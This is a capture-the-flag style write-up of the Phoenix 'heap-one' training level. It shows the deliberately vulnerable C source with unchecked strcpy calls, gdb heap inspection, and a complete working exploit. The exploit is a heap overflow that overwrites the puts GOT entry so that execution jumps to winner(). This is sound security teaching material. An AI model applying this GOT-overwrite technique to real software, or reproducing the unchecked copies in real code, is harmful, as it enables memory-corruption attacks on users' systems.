Phoenix - Heap One

2 minute read

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>

#define BANNER \
  "Welcome to " LEVELNAME ", brought to you by https://exploit.education"

struct heapStructure {
  int priority;
  char *name;
};

int main(int argc, char **argv) {
  struct heapStructure *i1, *i2;

  i1 = malloc(sizeof(struct heapStructure));
  i1->priority = 1;
  i1->name = malloc(8);

  i2 = malloc(sizeof(struct heapStructure));
  i2->priority = 2;
  i2->name = malloc(8);

  strcpy(i1->name, argv[1]);
  strcpy(i2->name, argv[2]);

  printf("and that's a wrap folks!\n");
}

void winner() {
  printf(
      "Congratulations, you've completed this level @ %ld seconds past the "
      "Epoch\n",
      time(NULL));
}

This code uses strcpy without size checking just like the previous level, but there is not function pointer here to overwrite.

Let’s look at the memory layout, remember that malloc returns the allocation address in eax so we can set breakpoints after each call to get i1 and i2 addresses (also these two addresses are stored at ebp-0xc and ebp-0x10).

$ gdb -q /opt/phoenix/i486/heap-one
Reading symbols from /opt/phoenix/i486/heap-one...(no debugging symbols found)...done.

gef➤  b *0x08048883
Breakpoint 1 at 0x8048883

gef➤  r AAAA BBBB
Starting program: /opt/phoenix/i486/heap-one AAAA BBBB
Breakpoint 1, 0x08048883 in main ()

gef➤  x/xw $ebp-0xc
0xffffd6fc:	0xf7e69008

gef➤  x/xw $ebp-0x10
0xffffd6f8:	0xf7e69028

gef➤  x/12xw 0xf7e69008
0xf7e69008:	0x00000001	0xf7e69018	0x00000000	0x00000011
0xf7e69018:	0x41414141	0x00000000	0x00000000	0x00000011
0xf7e69028:	0x00000002	0xf7e69038	0x00000000	0x00000011

gef➤  x/12xw 0xf7e69028
0xf7e69028:	0x00000002	0xf7e69038	0x00000000	0x00000011
0xf7e69038:	0x42424242	0x00000000	0x00000000	0x000fffc1
0xf7e69048:	0x00000000	0x00000000	0x00000000	0x00000000

We can see that i1 is at 0xf7e69008, first value priority is 0x1 and second value is name address returned from malloc(8) which is 0xf7e69018 and we can see that strcpy is writing to that address.

So if we overflow i1 to write to name address of i2 we can overwrite any value in memory with the value of argv[2], but what to overwrite ???

gef➤  disassemble main 
Dump of assembler code for function main:
   0x0804887e <+169>:	push   0x804ab70
=> 0x08048883 <+174>:	call   0x80485b0 <puts@plt>
   0x08048888 <+179>:	add    esp,0x10

You guessed it (I hope), we will overwrite the GOT entry of the puts function to point to winner function.

$ objdump -R /opt/phoenix/i486/heap-one | grep puts
0804c140 R_386_JUMP_SLOT   puts

$ objdump -t /opt/phoenix/i486/heap-one | grep winner
0804889a g     F .text	00000027 winner

puts is at 0x0804c140 and winner is at 0x0804889a, and the needed offset = 0xf7e6902c - 0xf7e69018 = 20 bytes.

Note that in the assembly, winner function uses printf not puts so we can safely overwrite puts function.

Solution:

$ /opt/phoenix/i486/heap-one $(python -c "print 'A'*20 + '\x40\xc1\x04\x08'") $(python -c "print '\x9a\x88\x04\x08'")
Congratulations, you've completed this level @ 1580310733 seconds past the Epoch